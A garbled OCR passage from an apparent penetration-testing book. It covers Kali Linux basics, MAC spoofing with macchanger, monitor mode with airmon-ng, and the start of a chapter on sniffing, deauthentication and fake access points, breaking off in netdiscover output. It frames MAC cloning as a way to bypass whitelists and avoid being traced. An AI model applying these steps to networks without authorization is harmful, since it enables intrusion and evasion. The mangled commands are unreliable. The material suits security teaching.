card is called Ralink 802.11 n WLAN [0101]. This is the wireless
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card, and we are going to click on it. That should connect it to the Kali
machine:

Deovices | Help
Audio
Metwork
UsE

Webcame

(F3  USB Settings...

- T v

Ralink 802.11 n WLAMN [0101]
PixArt USE Optical Mouse [0100]
Shared Clipboard & Primax Electronics, Ltd USE Keybeard [0110]

Drag and Drop L

3. Go to the wireless icon on the status bar, go to the Select Network
option in WiFi Not Connected, and then select a network. Then, we
can see the networks that are available around us, and we can select
any network that we want to connect to; just enter the password in,

and connect to the network normally, the way you would connect to
any other network:

L

Sharcd Folders

S U0H oS
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chared-

cted

Select Network

Even if we disconnect our wireless card now, we will see that we still
have an internet connection, because our main machine (a macOS X,
for example) is connected to a network, and this virtual machine is
connected to the Mac machine via an internal virtual network. So, the
browser that comes with Kali Linux is Firefox ESR, and we can go to
Google and check that we have an internet connection.

Linux commands

These are not hacking commands; they're not penetration testing
commands. They're just commands used in Linux that allow us to do
different things on the operating system. This overview of how the
Terminal works was just designed to get you more comfortable with
the structures, navigating the directories, and so on.
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Now, let's take an overview of the Linux Terminal. The Terminal is a
place where you can do anything you want on the operating system,
run any program by executing commands associated with the
program we want. The Linux Terminal is very powerful; it basically
allows us to do a lot more than the graphical interface. A lot of the
programs that we're going to use have graphical interfaces, but the
command line is much easier and quicker. Also, in many scenarios,
you will get a Secure Socket Shell (SSH) or Command Prompt on the
target computer, and you will need to know the commands in order to
do what you wish on the computer, or to pen test its security.

Learning how to deal with the Command Prompt is very important.
We're going to use it a lot in the upcoming chapters, but for now, we
will provide a very simple overview. It's much easier than running
through the graphical interfaces. Using it is very simple; you literally
type in the command, and the result is displayed on the screen as
text.

Commands

The following sections illustrate the basic Linux commands.
The Is command

The command lists all of the files and directories that exist in the
current working directory. So it's similar to the command in Windows
machines; it just lists all of the files and directories that exist in the
current directory:

Is

And, as we execute this command, the output for it lists all of the
directories, such as, , , and :

Let's run with some options. We going to use and then use , and that
will show us more information about the files. It's basically the same
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command that we ran before, but, as we can see in the following
screenshot, we now get more information. We can see the total
entries that exist in the current working directory, and we can see the
same directories that we saw before, but we can also see the dates
that they were created or modified. We can see the user responsible
for them, and its root use, and we can also see permissions:

*

ls -1

root root 4096 Apr

root root 4096 Apr

root root 40896 Apr i
root root 4896 Apr 26 16:
root root 4896 Apr 26
Xr-x 2 root root 4896 Apr 26

( Xx 2 root root 4896 Apr 26
Xr-x% 2 root root 4896 Apr 26

We will learn more about perm|SS|ons in the next chapters.
Permissions specify which users can do what (read, write, execute).
This is just an example of the command.

The man command

i
“
~
s
2
iL
3
2
‘<
i |

One of the most important commands, which is going to become
handy to you in the future, is the command. It stands for manual. The
command can be used to query and get the manual of any other
command. For example, we just used the command to list all of the
directories that exist in the current working directory:

man Is

After running this command, it will show us the manual for the
command. And, as we can see, it's showing us that is used to list
content, because it lists files and directories. We can also see that
this command actually takes options, so it takes more options than
just the command:
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User Comm

[EILE]...

infoermation about the FILEs (the current directory by default).
of -cftuvSUX nor --sort is specified.

Mandatory arguments to long options are mandatory for short options too.

-a, =--all
do £ e entri ting with
-A, --almost-all

do not list implied . and

--author
with -1, print the author each file

-b, --escape
capes for nongraphic characters

by SIZE befare printing them; e.qg., - - k-size=M' prints
76 bytes; see SIZE format below

-B, --ignore-backups
do not list implied entries ending with -

with -1t: sor » an ow, ctime (time last modification of file status information)
=1: show ctime SOr ( ' : s0rt by ctime, newest fir

Manual page ls{(1l) line 1 (press h for help or g to guit)
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In the preceding screenshot, we can see the format of the options in
Linux; it's either a letter abbreviation, or , and you type in the full
option. So, for example, the option does not ignore entries starting
with a dot. If we type in or press the Enter key, the manual will just
keep going down so you can read more information. These are all of
the options that you can do with the command. We can see, for
example, that the uses a long listing format. To quit this command, we
just type in , so we're out of the manual.

The help command

Another really useful option is . We will use again, and do a
command. Now, and work on almost every command, so you can use
, or

, and it will always show you the help or the manual page of the
program. So, after we execute the preceding command, in the
following screenshot, we can see the help page for using , and it tells
us all of the options for the command:
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# 1s --help
: 15 [OPTION]... [FILE]}:.-
information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor sort 1s specified.

Mandatory arguments to long options are mandatory for short options too.
--all do not ignore entries starting with
-almost-all do not list implied . and
--author with -1, print the author of each file
- -escape print C-style escapes for nongraphic characters
--block-s1ze=SIZE scale sizes by SIZE before printing them; e.g.,
‘--block-size=M' prints sizes in units of
1,048,576 bytes; see SIZE format below
-1gnore-backups do not list implied entries ending with -
with -1t: sort by, and show, ctime (time of last
modification of file status information);
with -1: show ctime and sort by name;
otherwlse: sort by ctime, newest first
list entries by columns
- -color[=WHEN] colorize the output; WHEN can be 'always' (default
if omitted), 'auto', or 'never'; more info below
--directory list directories themselves, not their contents
--dired generate output designed for Emacs' dired mode
do not sort, enable -all, disahle -ls --color
--classify append indicator (one of */=>@|) to entries
--file-type likewise, except do not append '*°’
format=WORD across -x, commas -m, horizontal -x, long -1,
single-column -1, verbose -1, vertical -C
--full-time like -1 --time-style=full-iso
like -1, but do not list owner
--group-directories-first
group directories before files;
can be augmented with a --sort option, but any
use of --sort=none (-U) disables grouping
- -No-group in a long listing, don't print group names
, --human-readable with -1 and/or -s, print human readable sizes
(e.g., 1K 234M 2G)
-51 likewise, but use powers of 1860 not 1024

Again, it's a or a, and we enter the option name as we did before. On
top, it shows information about what the command does, and it gives
the format of the command, so it should be used in this particular
format: . We then enter the options, and then whether we want to do
anything to the file. It's very similar to the sometimes, programs will
not have , and they'll just have the command; command.
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If we have any command or any program that we are not sure how to
use, we can always just type in and the name of the command, or the
name of the command and . Another useful exercise when dealing
with the Terminal is that we can press the up and down arrows to go
through the history of the command. So, we can switch between the

, » and commands through the up and down arrow keys.
The Tab button

Another useful item is the Tab button on the keyboard. If we are
typing a command, or if we are looking for a file and we are just not
sure, we can use Tab button to autocomplete. For example, let's
suppose that we want to type a filename. Let's first create a file; we
just go to Places | Home, because right now, we are going to create
a new file. Let's create a new folder, called . Let's suppose that we
are looking to do something with the folder; the command can be
used to change the working directory to another directory.

Let's suppose that we want to go into the directory; we can use the
command, and then find ourselves in the directory:

cd test/

Another useful command is ; it shows you the current working
directory. Just execute it, and, as we can see, we're now in the
directory:

pwd

Now, if we want to go back, we can just use , change the directory,
and, instead of typing a directory name that we want to go to, we can
just type .

These were just basic commands, there are so many commands in
Linux. Again, every program that we install on the system will have a
Command Prompt version, and we can access that program through
the Command Prompt. A lot of the programs that we're going to use
will not even have a graphical interface, so we will have to use them
through the Terminal. Again, don't be scared of that; we're going to go
over it in the future.

Updating resources

T.me/nettrain



Now that we know how to interact with the Terminal and Linux basics,
we will just look at some final steps:

Updating the source list
Installing
Installing required updates

Going to the Kali machine, the first thing that | want to show you is
viewing the machine in full screen. Just go to View and then Full-
screen, and that will automatically expand everything and put it in
proper full screen.

Let's look at the package manager in Kali Linux. We can install
programs using a command called . We usually type in, and then, if
we want to install something, we type , followed by the package name
(the program name). Before we do any of that, we have to update the
sources; the way this program works is through fetching a number of
libraries. On a fresh installation, we want to update our sources, so
we make sure that it has the latest sources for the libraries, and the
latest available programs. We're just going to use . This command will
not update the system; it will only update the list of available
programs that can be installed:

:~# apt-get update
Hit:1 http://kali.cs.nctu.edu.tw/kalli kali-rolling InRelease
Reading package lists... Done
Now, everything has been updated, so we can go ahead and start
installing programs. We are going to look at an example of installing a
useful Terminal application called . The command is as follows:

apt-get install terminator

Press Enter; now, it will ask us if we really want to install this. We will
say yes, by typing and hitting Enter, and this will automatically
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download the application and install it for us:

stall terminator

L be installed:
der-3.0-8 python-gi pythen-gi-caire python-psutil

be installed:
der-3.0-8 python-gi-cairo python-psutil terminator

ed, 8 to remove and 733 not upgraded.

f additional disk space will be used.

kali-ro |LL d amd6 L 3 ) 6 - [7.984 B]

1 [3,536 B]
3.1 kB]

| amdé. ;l.,‘thon p LJT\] -i'TI’"’,-i [159 kB]
'—rrllxha main amd64 terminator all 1.91-1 [363 kB]

51hhe,h1nder 3.0-8: aﬂ1lq

Now, we can go ahead and try to use . To do so, we will go to the
Applications on the menu bar toward the left and search . We will
right-click to add it to My Favorites, so it shows up in the dock. We
are going to open it, it's just another Terminal application. We can
increase the size of the text here, and actually run programs through
the Terminal, using any of the commands we illustrated previously.
The advantage of the Terminator is that we can split the screen and
run multiple commands. If we right-click on the screen, we can split it
horizontally, and we can have three different windows that can run
three different commands or programs at the same time. So, this can
be really handy; it can make your life much easier in the future.

One more command involves upgrading our system. In many cases,
when we upgrade our system, we face issues such as broken
libraries; some of our programs might not work when the libraries
they depend on have updated, but the program itself has not. If we
face issues, we can restore a previous snapshot; but generally, we
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just don't upgrade. If there's a new version of Kali, we just import that
as another virtual machine, instead of upgrading the existing Kali
version.

Now, if you want to upgrade your system, all you have to do is type in
. If you press Enter, it will tell you that a large number of libraries and
packages will be upgraded. If you hit Enter again, it will start
downloading, installing, and configuring these packages as seen in
the following screenshot:

:~# apt-get upgrade

Heading package 1ists... Done

Building dependenc

Reading state information... Done

Calculating upgr . Done

The tollowing pa S were automatically installed and are no longer regulred:
geoip-database al 1 extractor-perl libjs-openlayers
liblwp-protocol

Use 'apt autoremo

The following pac

python-matplot tshark wireshark-common wireshark-gt
The following packages will be upgraded:
apktool apparmor rpsuite chromium chromium-common clang-6.8 cpp-7
m esr fonts-wine foremost

g++-F gcc-7 gog-

girl.2-gtk-32.6 gir

gryam -conlrol-cenler

gt pdate-icon-cache gtkz

= stdc++6 libapparmorl libasan4 libatomicl

libatomicl:i libauditl libbabeltracel libbrlapi®.& libbrotlil libccl-©

libcilkrtss yclang-common-6.0-dev 1ibclangl-6.0 libcrackz
It might ask you to configure a few things, so don't be too
adventurous and try to change things keep them the way they are.

Again, most of the time, we keep everything the same.

Summary

In this chapter, we learned what Kali Linux is, and the advantages of
using it when it is installed on our virtual machine. After that, we
looked through the GUI of Kali Linux, including various icons it has.
We then used a few Linux commands that we are going to use in
future chapters. Finally, we learned how we can update the resources
of our system.
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The upcoming chapters will focus on network penetration testing.
Initially, we will learn all of the fundamentals; later, we will learn the
attacks that we can perform on networks.
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4

Network Penetration Testing

In this chapter, we will cover all of the concepts that will be needed to
get started with network penetration testing. We will start off with what
a network is, and see two types of networks: wired and wireless.
Later, we will see how to connect a wireless adapter to a virtual
machine. After that, we will look at what a MAC address is also, steps
to change a MAC address. Finally, we will see methods for activating
the monitor mode.

The following topics will be covered in this chapter:

What is a network?

Network basics

Connecting to a wireless adapter

MAC addresses

Wireless modes managed and monitor
Enabling monitor mode manually
Enabling monitor mode using

What is a network?

The first penetration testing section that we are going to cover is
network penetration testing. Most of the systems and computers that
we are going to try to gain access to will be connected to a network,
whether it's a device, a computer, a phone, or simply any device
connected to the internet. Therefore, you need to learn how devices
interact with each other in a network, as well as how networks work,
before you can advance into different types of penetration testing.
Network penetration testing can be divided into four main sections:

1. Pre-connection
2. Gaining access
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3. Post-connection
4. Detection and security

Both the first section (pre-connection) and the second section
(gaining access) are geared toward wireless networks. Usually, with a
wireless network, there is protection (encryption), and we need to use
a key to connect to the network. There are WEP, WPA, and WPA2
encryptions, and we are going to learn how to break them. We will
also learn the kinds of attacks we can do without being connected to
a network, and what we can do using a wireless card.

The reason we don't mention wired connections in the first two
sections is because, in order to gain access to a wired network, all
you need is an Ethernet cable. Some wired networks use security
and some use MAC filtering, and we're going to discuss that later
changing the MAC address is very easy.

Section 3 is where the fun starts we will learn how to sniff packets
from the network, how to control connections, how to sniff passwords,
usernames, and cookies, how to inject them into your browser, and
how to launch attacks that will allow us to gain full access to any
device on a network, bet it wired or wireless. Section 3 will apply to
both wired and wireless, which will work exactly the same, with no
need for a change in configuration. In the last section, we will discuss
how to secure yourself against attacks, and how to detect them.

Network basics

Before we start trying to hack into networks, there are a few basics
that we need to learn. What is a network? A network is a number of
devices connected together so that they can share data. This data
can be files, resources (such as on a home network), or just a way to
connect to the internet.

All networks, Wi-Fi or wired, achieve this sharing of data by using the
same principle a device that acts as a server, which all of the devices
communicate with. The server has access to the resources, and all of
the other devices on the network can access the data from the server.
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On most Wi-Fi networks, the server is the router, and all devices
connect to the router and access the internet through it. The only
device on the network that is directly connected to the internet is the
Wi-Fi router.

In the following diagram, clients 1, 2, and 3 have no access to the
internet, but they can access it through the router:

‘_f‘
D~ =

Internet i l Wi-Fi router

For example, whenever Client 3 wants to open Google, it sends a
request to the router. The router goes to the internet, grabs , and
forwards it back to Client 3. Client 3 does not have direct access to
the internet it has to go through the router, and the router grabs the
request and sends the response back to the client. All of this data
requests and responses is transferred through packets, so there are
a number of packets being sent between clients and the router. In a
Wi-Fi network, these packets are sent through the air, so they are
broadcasted. If we are in the range of these packets, we can just sniff
them, capture them, and read them, being able to see all of the
information inside. All of this data whether it's usernames, passwords,
videos, audio, music, charts, and so on is transferred as packets, and
it's always transferred between the router and the client. So, if we
capture the packets, we can read all of the information on our device.

Connecting to a wireless adapter
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In this part of the chapter, we will see how to connect a USB device to
a virtual machine. As an example, we are going to connect a wireless
adapter to a Kali machine, but the same method can be used to
connect any USB device. We will need a wireless adapter for the
cracking section of the network penetration test, because in later
chapters, we will learn how to crack passwords for Wi-Fi networks.
Other than that, we can do everything else without a wireless adapter.
A wireless adapter is a USB device that connects to the computer
through the USB and allows us to communicate with wireless
networks. Most computers and laptops now come with built-in
wireless cards. The only problem is, first of all, that we can't access
built-in wireless cards from a virtual machine. Also, even if you install
Kali as a main machine, the built-in wireless cards are not good for
hacking, because we need a powerful adapter that supports monitor
mode and packet injection (we will go into what these mean).
Basically, the built-in wireless adapter does not support these modes,
and can't be used for hacking.

Powerful wireless adapters are recommended. For more information,
check out .
Now, we will connect adapters to Kali by using the following steps:

1. We have to open VirtualBox (if it's open, it can be seen on the left-
hand side of the screen) and click on the machine that we want to
connect the adapter to.

2. Then, we go to Settings | USB, and make sure that Enable USB
Controller is checked; if not, just click on Enable USB Controller:
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3. Now, we have to pick the USB hardware type that is used by our
adapter either USB 1.0, 2.0, or 3.0. Then, we go to the plus (+) sign,

and click on it:
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4. We will see that we have a number of devices that can be attached
to the Kali machine. We connect to the adapter, first of all, just to
have a look at the available devices. The name that we see is the
name of the chipset that was used inside the adapter, not the brand
name of the adapter itself. When we click on it, we see a new entry
called ATHEROS this is actually my wireless adapter, an Alpha AWS
036NHA. We click on it; then we click on OK, and the adapter is
added to Kali:

{23 Kali-Linux - Settings B @
@‘ General uso
[#] sptem 7] Enable 150 Controller
USE 1.1 (OHCT) Contraller
= oisplay o
— @ USE 2.0 (EHCT) Controller
Sorage 1USE 2.0 (xHCI) Controller
& Audio Ut Device Fiters
| | B
Mebarork bf:: |
5 { ATHLROSUDYL [0100]
@ Senal Ports |
| 1 ATHEROSUBOL [0108]
ﬁ LISH Qualcarmm Atheros Communications UBY1 [0108]
1 Prefirt LISH Ophical M i
‘ﬁ “Shared Folders & i ldo D |
Primax Electronics, Lod USE Keyboard [0110]
E User Interface i
ok |[ comel
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Before we can start Kali, we have to install extensions to allow
VirtualBox to use the USB device. They can be downloaded at , and
you can see that there is a link for the VirtualBox Extension Pack.
This will only work for VirtualBox 5.1.22 and up.

If you have a different version of VirtualBox, to get your version, you
can just go to VirtualBox | About VirtualBox; if you're on Windows,
you'll have to go to File | About VirtualBox. You'll see the version
there. If you don't find the latest version on the link, you have to go
down to the VirtualBox older builds, to 5.0, and look for 5.0.20, to
download its Extension Pack. Download the one that is compatible
with your version.

Once it's downloaded, it will be available in your default download
location. You just have to double-click on it to install it. If you have
already installed it, it will show a popup for reinstalling; otherwise, it
will show an Install button. If you are reinstalling, you'll need to scroll
down and Agree, including your password. After that, the Extension
Pack will be installed.

Before starting the virtual machine, we are going to physically
disconnect the wireless adapter, and then connect the adapter once
Kali fully loads. Boot up the Kali virtual machine, put in the username,
which is , and the password, which is . Now, Kali is fully loaded, and
we can physically connect the wireless adapter. This is done to avoid
conflicts. Once the adapter is connected and virtual machine is up,
we will confirm that the adapter is connected by opening Terminal and
typing . This command lists all of the interfaces that are connected to
the machine, and, as we can see in the following screenshot, it
should list an adapter called , which is the wireless adapter:
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If you go to the top-right corner of the screen and click on power icon,
you'll see a Wi-Fi Not Connected option, which can be used to
connect to Wi-Fi networks:

Wired Connected

Wi-Fi Mot Connected

Proxy None

‘! root
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We don't need to connect to any Wi-Fi connection, because we have
set up a NAT network, and Kali already has internet access through
that NAT network. We only need the wireless adapter to hack into
other networks and crack their passwords.

MAC addresses

In this section, we will study MAC addresses. Each network card,
whether it's a Wi-Fi card or a wired card, has a physical, static
address, assigned by the card manufacturer. This is the Media
Access Control (MAC) address. The MAC address is written on the
card, and it's physical, so it never changes. It is used between
devices, for identification and to transfer packets in the right direction.
This works because each packet has a source MAC and a
destination MAC, and travels from the source to the destination.

Because the MAC address is static and never changes, it can be
used to trace back and identify a device. Also, since devices use
MAC addresses to identify each other, we can have some networks
that only allow certain MAC addresses to connect to them (by using a
whitelist), or that blacklist MAC addresses so that they cannot
connect to the network. Changing your MAC address can help you to
either connect to a network by being on a whitelist, or to bypass a
blacklist. The only way to change the MAC address is to change it in
the RAM so it will only be changed for the current session, and once
you restart, you will have to change it again.

Now, let's change the MAC address; the procedure is as follows:

1. We're going to use a tool called . First of all, to get the Wi-Fi card
name, just type in

following screenshot,

to ; we can see that

, and it will show all of the wireless cards. In the

has no wireless extensions, and the same applies is the wireless
card:
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. ~# 1lwconfig

wlanf TFFF BA? .11 FSSTh:aff/any
Mode:Managed Access Polint: Not-Associated Tx-Power=28 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Cncryption key:off

Power Management:off
no wireless extensions.

no wireless extensions.

2. We are going to disable the wireless card, using the

command.

3. Now, we're going to change the MAC address, using a tool called .
With these tools, it's always a good idea to look at the help section;
just go onto the Terminal and type , and we'll see all of the options
that we can use with the tools. You can use and to show the help and
version, to show our current MAC address, and so that it doesn't
change the vendor bytes (the manufacturer of the MAC address).
Another method is to try a random vendor MAC of the same kind ( is
just to set a random vendor here). The option will reset the original
permanent MAC address, so if we changed our MAC address and we
want to use the old one again, we can use . The option will just give
us a random MAC address, and will just print the known vendors that
we can use. The option will help us to pick our own MAC address:

:~# macchanger --help
GNU MAC Changer
Usagec: macchanger [options] device

--help Print this help

--version Print version and exit

- -show Print tThe MAC add s and exit
--ending Don't change the

--another Set random vendor MAC of
set random vendor MAC o

- -permanent teset to original, permanent hardware MAC
- -random set Tully MAC
--list[=keyword] Print known vendors

Pretend to be a burned in address

set the MAL XX:XX:XX:XK:XX:XX
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In case there is a whitelist, we will learn how we can see all
connected devices; for example, for your target network, three
devices are connected, and the target network only allows three
devices to connect. We can just take one of the whitelisted MAC
addresses, change it, and use it.

4. To change the MAC address, first we have to disable the wireless
card by using the command. We can use the option to set up a
random MAC address using . The command is simply . We can use
to specify our own MAC address, if we want. After hitting Enter, we
can see that the original MAC address is being changed to :

:~# ifconfig wlan® down
~# macchanger --random wlan®
Current MAC: 66:ca:87:88:67:25 (unknown)

Permanent MAC: 24:1d:52:37:04:25 (Liteon Technology Corporation)
Mew MAC: Sa:c4:0c:%a:ac:79 (unknown)
Now, our wireless card is ready, and we've changed its MAC address.

5. Now we need to enable the wireless card again, because we
disabled it. So, we'll do the opposite; we're going to use . That's it; the
card is enabled, and its MAC address has been changed. Let's take a
look at it in the following screenshot; if we type in , we can now see
the new MAC address:

Wireless modes managed and monitor

Now we know that the MAC address is used to make sure that the
packet goes in the right direction, so each packet has a source MAC
and a destination MAC, and it flows from the device that has the
source MAC to the device that has the destination MAC. This is how
wireless cards work in the default mode. So, if we go into the Kali
machine and use , in the following screenshot, you can see that we
have a wireless card, named , and that the default mode is called
managed mode:
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:~# iwconfig

TEEE 802.11 ESSID:off/fany

Mode:Managed Access Point: MNot-Associated Tx-Power=20 dBm
Retry short limit:/ RIS thr:off tragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

no wireless extensions.

So, basically, in this mode, our wireless device will only receive
packets, or will only try to capture packets that have our device's
MAC address as the destination MAC. It will only capture packets that
are actually directed to our computer.

What we want to do, however, is enable it to capture any packet that's
around us any packet that is within our range. To do that, we're going
to use a mode called monitor mode. It tells the wireless card to
capture everything around it, even if the destination MAC is not our
MAC. Basically, we'll then be able to capture all of the packets within
our range, even if they aren't directed to our device.

There is more than one method to enable monitor mode; we're going
to discuss three methods in this chapter, starting with the most basic
method, in this section. Sometimes, monitor mode will be enabled,
but when it comes to actually running an attack, the attack will not
work. We may then need to try a different method of enabling monitor
mode.

We're going to talk about the first method now, using to do it. First, we
type in , and, as we can see in the following screenshot, it lists the
wireless cards available:

We have a wireless card called , so we're going to start monitor mode
on this interface, and the command is going to be . It's very simple;

is the name of the program, initializes monitor mode, and is the
wireless card name, so it's the interface. We now have monitor mode
enabled on , so in the upcoming chapters, whenever we want to use
monitor mode, we will specify as the interface:
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:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill®

PID Name

495 NetworkManager
568 dhclicent

946 wpa supplicant

PHY Interface Driver Chipset
phy@ wlang athak htc Atherns Communications, Tnc. AR9271 802 .11n

)211 monitor mode vif enabled for [phy®]lwlan@ on [phy@]wlan®mon)
(macB8211 station mode vif disabled for [phy@]wlang)

All interfaces might not have the same name, so it will probably be
called or something else; it doesn't matter, just make sure to use the
name that monitor mode is enabled on, in the future. If we use , we
will see (as shown in the following screenshot) that the mode is now
monitor mode instead of managed mode:

:~# ilwconfig wlan®@mon
wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm

Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

This means that we can use this card to capture any packet within
our range, even if the packet is not directed to our device, and even if
it doesn't have the MAC address of our device as the destination
MAC.

A few things to note:

First of all, when we enable monitor mode, the card will lose its
connection. So, if it was connected to a wireless network, it will get
disconnected. This is normal, because the card will not be in
managed mode, and it will be capturing all of the packets that are
available to it, instead of only capturing the packets that are directed
to it. This doesn't really matter, because when we enable monitor
mode, we actually want to hack into a different network or capture
packets from networks that we don't have passwords for. So, it's
completely normal to lose our internet connection.

The next thing is to make sure to use the name that monitor mode is
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enabled on. As mentioned previously, this was ; it will change from
system to system, so make sure to use the name that the command
uses. The third note is that if we enable monitor mode and run an
attack in the future, and get unexpected results, we can come back
and try one of the other methods for enabling monitor mode.

If we want to stop monitor mode, we can use the command. Now,
monitor mode is disabled, as seen in the following screenshot, and
we can use in managed mode to connect to networks and use it
normally:

:~# airmon-ng stop wlanemon

PHY Interface nriver Chipset

phy1 Wlanamon aTthyk hte ATheros Communications, Inc. AHRY2/1 HBZ.11n

(macge21l station mode vif enabled on [phyl]wlan@)

(mac80211 monitor mode vit disabled tor [phyl]wLan@mon)

Enabling monitor mode manually

With the latest update of , stopped working for some wireless cards. It
will actually say that it enabled monitor mode on ; so, instead of just
using , it's going to start calling wireless cards . When we try to use
this card, it might not work in monitor mode, even though the card
supports monitor mode. For now, with Kali 2.1, it is recommend using
a different method for enabling monitor mode. This method is actually
the manual method for enabling monitor mode.

Our wireless card is , so let's just take a look at it. We use the
command; the wireless card can be seen in the following screenshot,
following command execution:

:~# iwconfig wlang
wlang IEEE 8602.11 ESSID:off/any
Mode:Managed Access Point: MNot-Associated Tx-Power=28 dEm

Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
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As we can see in the preceding screenshot, is now in managed
mode. So, what we are going to do is enable it by using the manual
method. We're going to disable the card using the command, the
same way that we did in the previous method, and the card will be
disabled.

Now, the next command will be to enable monitor mode on the card:
it's , the name of the card, and then . It's very simple:
. Then, we press Enter, and it's done.

Now, if there are no error messages, it means that the commands are
running successfully. We can then enable the card again, so we will
execute , which will bring up the card. If we use , the card will be in
monitor mode:

:~# ifconfig wlan® down
:~# ilweonliy wlan® mode moundilor
:~# ifconflig wlan® up

:~# iwconfig wlan®

IEEE 882.11 Mode:Monitor Frequency:2.45/ GHZ I1x-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off

Power Management:off

So, in this part, we have actually used the old method of enabling
monitor mode, if we have used , and then we will be using as the card
in monitor mode, but if we use the old method, then

going to use instead of

is the one that's going to be in monitor mode. We are

, because monitor mode is now enabled on .

This card now works perfectly, and monitor mode is enabled on it. We
can choose any method we want, but this method will work on all
cards, whereas the and methods will only work on some cards.

Enabling monitor mode using airmon-ng
So, we have seen two methods to enable monitor mode, and now

we're going to learn the third method. All of these methods achieve
the same objective, which is enabling monitor mode on your wireless
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card. Which method works for you will depend on your operating
system, your host system, and the compatibility of the wireless cards
in the systems. In many cases, all of the methods will enable monitor
mode on your card, but not all of the attacks will work. Sometimes,
injection will not work, or creating a fake access point will fail we will
learn all of these in future chapters, so don't worry about them yet.

Basically, the idea to take from here is that if we know our card
supports injection (if it's an alpha card such as 036H or 036NHA, or
one of the known cards that support injection), but the injection isn't
working well, then we can just unplug the card, plug it back in, and try
another method of enabling monitor mode. So far, you have two
methods, and we will now learn the third method.

If any of the preceding methods work for you, then stick with it; if they
don't, then try this method. We have the wireless card connected, and
it's called . So we're going to disable the card as usual, using , and
run a command to kill any service that might interfere with enabling
monitor mode. The command is

; as you can see in the following screenshot, it killed three processes
that thinks might interfere with enabling monitor mode:

:~# ifconfig wlan® down
~# airmon-ng check kill

Killing these processes:

PID Mame
568 dhclient
946 wpa supplicant

What we are going to do now is enable monitor mode in the same
way that we did in the first method, using the command. Now, as
monitor mode has been started on , which is a virtual wireless
interface, we can use the command to check; then, it will be in
monitor mode:
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:~# ifconfig wlan® up
:~# airmon-ng start wlano®

PHY Interface Driver Chipset

phyl wlan® athok htc Atheros Communications, Inc. AR9271 8082.11ln

(mac80211 monitor mode vif enabled for [phyl]lwlan® on [phyl]lwlan®@mon)
(mac80211 station mode vif disabled for [phyl]wlan@)

:~# iwconfig
lo no wireless extensions.

wlanBmon IEEE 882.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

no wireless extensions.

Now, as we have seen, all of the methods enable monitor mode, and,
in the future, we're going to use monitor mode in different attacks. If
an attack doesn't work, all we have to do is unplug the card, plug it
back in, and try another method for enabling monitor mode.
Hopefully, one of them will work, and we can carry on with the
attacks.

Summary

In this chapter, we learned what a network is and how it works, and
also studied basic network terminology and how to connect the
wireless adapter to the virtual Kali machine. Mostly, we will only need
this adapter for network penetration testing, to crack passwords. We
also saw the important concept of MAC addresses, which are unique
for every machine. Also, we saw how we can alter our MAC address
so that we cannot be traced when hacking. Finally, we learned how
we can enable monitor mode by using three different techniques.

In the next chapter, we will learn how to perform network penetration
testing.
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5

Pre-Connection Attacks

In this chapter, we will focus on the first part of network penetration
testing that is, preconnection attacks. In order to perform these
attacks, we will look at the fundamentals; we will study the concept of
sniffing. Once we have a good idea of what sniffing is, we will look at
targeted packet sniffing, and an important tool for sniffing the
Wireshark tool. Then, we will launch our first attack: the
deauthentication attack. Finally, we will create a fake access point.

In this chapter, we will look at the following topics:

Packet sniffing basics

Targeted packet sniffing

Deauthentication attacks

What is a fake access point?

Creating fake access points with the MANA Toolkit

Packet sniffing basics

In the last chapter, we set the Wi-Fi card into monitor mode, so that
we can sniff packets that are within our Wi-Fi range, even if they're
not directly connected to our device, and even if we are not
connected to a network with a username and password. Now, we're
going to use a tool called , part of the Aircrack-ng suite. It's a packet
sniffer, and it allows us to capture all of the packets around us. We
can run it against all of the networks around us and collect any
packets within our range. We can also run it against a certain access
point (AP) so that we only collect packets from a certain Wi-Fi
network.

Pre-Connection Attacks Chapter 5
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First, let's look at how to run the program. You'll need your Wi-Fi card
in monitor mode; in our case, the name of the Wi-Fi card is . So, we'll
run the

command it's as simple as that. The name of the Wi-Fi card that has
monitor mode enabled on it is . As you can see in the following
screenshot, this will list all of the networks around us:

][ Elapsed: 1 min ][ 2018-067-0
3 1[ Elapsed: 3 mins ][ 2018-8

PWR Beacons #Data, #/s C 1B ENC CIPHER AUTH ESSID
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¢}
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WPA
WPA

=
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[=31
e
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Another use of is to identify all of the devices connected to the
networks around us.
So, we can connect our virtual machine, or our Windows virtual
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machine, to the same network, or we can just test any other device
that we have, be it our phone, an old laptop, or any other device.

The netdiscover tool

The first thing we're going to talk about in this section is gathering
information. Gathering information about the connected clients and
the router is very important because it will help us know what their IP
and MAC addresses are and the operating system that they're
running, as well as the ports that they have open in their devices. As
for the router, we'll be able to know the manufacturer of the router,
and then we'll be able to look for exploits and vulnerabilities that we
can use against the router or against the clients if we are trying to
hack them.

In , Network Penetration Testing, we saw how we can use to discover
connected clients. In the second part of the output, we learned how
we could see the associated clients and their MAC addresses. That
was about it that's everything we can get before we connect to the
target access point. Now, after connecting, we can gather much more
detailed information about these devices. There are a lot of programs
for this task, but we're going to talk about three programs, starting
with the simplest and quickest one netdiscover.

As we have said before, netdiscover is the quickest and the simplest
program to use, but it doesn't show very detailed information about
the target clients. It'll only show us their IP address, their MAC
address, and sometimes the hardware manufacturer. We're going to
use it by typing , and then we're going to enter and specify our
wireless device, which is . Then we're going to enter the range, which
can be any range we want. Looking at the IP (which is ) tells us which
network we are in. We want to discover all the clients that are in this
network, so we're going to try and see if there is a device in . Then
we're going to try, , , , , up to that's the end of the range. So, to
specify a whole range, we can write . That means we want , and then
this IP is just going to increase up to , which is the end of the IP range
in the network. The command for this is as follows:
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-i eth0 -r 10.0.2.1/24

We are going to hit Enter. It will return the output really fast,
producing the result shown in the following screenshot:

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

MAC Address Count en MAC Vendor / Hostname

2:54:00:12:35:0€ 0 Unknown wvendor

2:54:00:12:35:0¢ 60 Unknown vendor
:00:27:77:49:88 60 PCS Systemtechnik GmbH
